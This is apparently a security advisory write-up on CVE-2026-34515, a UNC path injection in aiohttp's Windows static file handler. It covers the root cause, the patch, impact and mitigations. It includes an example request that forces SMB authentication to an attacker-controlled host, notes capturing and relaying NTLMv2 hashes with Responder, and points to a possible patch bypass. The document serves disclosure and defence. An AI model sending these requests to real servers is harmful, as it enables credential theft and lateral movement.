Apr 1, 2026·6 min read·3 visits
A path traversal vulnerability in aiohttp's Windows static resource handler allows attackers to inject UNC paths. This triggers outbound SMB connections, exposing NTLMv2 credentials and permitting local file disclosure.
The aiohttp asynchronous Python framework, prior to version 3.13.4, handles static resource file resolution unsafely on Windows systems. This flaw allows unauthenticated remote attackers to inject Universal Naming Convention (UNC) paths, bypassing directory restrictions. Exploitation coerces the Windows server to initiate an outbound Server Message Block (SMB) connection, exposing the NTLMv2 service account hash to the attacker.
The aiohttp library provides an asynchronous HTTP client and server framework for Python's asyncio module. Web applications built on aiohttp frequently utilize its static resource handler to serve files, such as images or stylesheets, from a designated local directory. This handler exposes an attack surface where user-provided URI paths are mapped to the underlying server filesystem.
CVE-2026-34515 is an Absolute Path Traversal (CWE-36) vulnerability affecting the static resource handler exclusively on Windows operating systems. The application accepts a user-controlled filename and joins it to a base directory path. It fails to adequately validate the input for absolute paths or Universal Naming Convention (UNC) prefixes prior to resolution.
An unauthenticated remote attacker can exploit this weakness by submitting a crafted HTTP request containing a UNC path. The application processes the request and interacts with the specified path. This interaction prompts the Windows operating system to initiate an outbound Server Message Block (SMB) authentication handshake with the attacker-controlled destination, resulting in the disclosure of the server's NTLMv2 account hash.
The vulnerability originates from the interaction between aiohttp's routing logic and the behavior of Python's pathlib module on Windows. In aiohttp/web_urldispatcher.py, the static resource handler extracts the filename parameter from the HTTP request route. It then constructs the absolute filesystem path by executing self._directory.joinpath(filename).
On Windows environments, pathlib.Path.joinpath() exhibits specific behavior regarding absolute paths. If the provided argument begins with a drive letter (e.g., C:\) or a UNC prefix (e.g., \\attacker-server\share), pathlib treats the argument as an absolute path. It discards the preceding self._directory base path entirely and returns the attacker-supplied absolute path as the resolved target.
Following path resolution, the application calls run_in_executor to perform asynchronous filesystem operations, such as stat or open, on the resolved path. When the Windows kernel receives a file operation targeting a UNC path, it automatically attempts to connect to the specified remote SMB share. This process involves the transparent transmission of the executing user's NTLMv2 credential hash as part of the authentication sequence.
The flaw resides in the _handle method of the StaticResource class within aiohttp/web_urldispatcher.py. The vulnerable implementation retrieves the filename from the request match information and immediately appends it to the base directory path without prior structural validation.
The patch in commit 0ae2aa076c84573df83fc1fdc39eec0f5862fe3d introduces a direct check using Path(filename).is_absolute(). If the method returns true, the application raises an HTTPNotFound exception, safely terminating the request processing before any filesystem interaction occurs.
--- a/aiohttp/web_urldispatcher.py
+++ b/aiohttp/web_urldispatcher.py
@@ -676,6 +676,10 @@ def __iter__(self) -> Iterator[AbstractRoute]:
async def _handle(self, request: Request) -> StreamResponse:
filename = request.match_info["filename"]
+ if Path(filename).is_absolute():
+ # filename is an absolute path e.g. //network/share or D:\path
+ # which could be a UNC path leading to NTLM credential theft
+ raise HTTPNotFound()
unresolved_path = self._directory.joinpath(filename)
loop = asyncio.get_running_loop()
return await loop.run_in_executor(> [!NOTE]
> While the patch mitigates standard absolute and UNC path injections, researchers should verify the handling of root-relative paths. On Windows, paths like \windows\system32\drivers\etc\hosts return False for is_absolute() because they lack a drive letter. Depending on the server's working directory, these paths may still escape the intended base directory on the same local drive.
Exploiting this vulnerability requires the target aiohttp server to run on a Windows host and expose a static resource endpoint. The attacker also requires a network position that allows the target server to route outbound SMB traffic (TCP port 445) to an IP address controlled by the attacker.
The attack begins with the deployment of a malicious SMB listener. The attacker utilizes tools such as Responder or a custom SMB server script bound to a routable IP address. This listener is configured to accept incoming authentication requests and capture the resulting NTLMv2 challenge-response hashes.
The attacker then crafts an HTTP GET request targeting the vulnerable static resource endpoint. The payload consists of a UNC path formatted with either forward slashes or backslashes, pointing to the attacker's listener. An example request appears as GET /static/\\attacker-ip\share\fakefile.txt HTTP/1.1.
Upon receiving the request, the aiohttp server processes the route and executes the vulnerable joinpath operation. The application attempts to read the file attributes, forcing the Windows host to negotiate SMB authentication with attacker-ip. The listener captures the NTLMv2 hash, completing the exploitation sequence.
The primary impact of this vulnerability is the disclosure of the NTLMv2 hash belonging to the Windows account executing the aiohttp process. If the application runs under a privileged service account or an active administrator account, the severity of the compromise increases proportionally.
Attackers utilize captured NTLMv2 hashes in two distinct ways. They perform offline dictionary or brute-force attacks using specialized cracking hardware to recover the plaintext password. Alternatively, if the target environment lacks SMB signing, attackers relay the intercepted authentication sequence to other internal systems to achieve lateral movement or remote code execution.
Secondary impacts involve unauthorized local file disclosure. Attackers supply absolute drive paths (e.g., C:\inetpub\logs\log.txt) instead of UNC paths. This allows the reading of arbitrary files present on the local filesystem, provided the executing service account possesses the necessary read permissions.
The CVSS v4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U produces a base score of 6.6. This metric reflects the high confidentiality impact derived from credential theft and file disclosure, balanced by the lack of direct integrity or availability impacts on the affected system.
The official remediation is to upgrade the aiohttp package to version 3.13.4 or later. This release incorporates the is_absolute() validation check, which effectively neutralizes the UNC injection and absolute path traversal vectors at the application layer.
Organizations unable to deploy the patch immediately must implement compensating controls at the network layer. Egress filtering on firewalls or security groups should block outbound traffic on TCP port 445 originating from application servers. Servers serving web traffic rarely require outbound SMB access to untrusted Internet destinations.
Additionally, reverse proxies or Web Application Firewalls (WAFs) positioned in front of the aiohttp server must be configured to inspect request URIs. Administrators should implement rules to reject requests containing consecutive forward slashes (//) or backslashes (\\), as these sequences are necessary to construct UNC paths in HTTP requests.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U| Product | Affected Versions | Fixed Version |
|---|---|---|
aiohttp aio-libs | < 3.13.4 | 3.13.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-36, CWE-918 |
| Attack Vector | Network |
| CVSS v4.0 Base Score | 6.6 |
| Impact | High Confidentiality (Credential Theft) |
| Exploit Status | Proof-of-Concept Available |
| KEV Status | Not Listed |
The application uses a filename that should be relative to a restricted directory, but it fails to prevent absolute paths.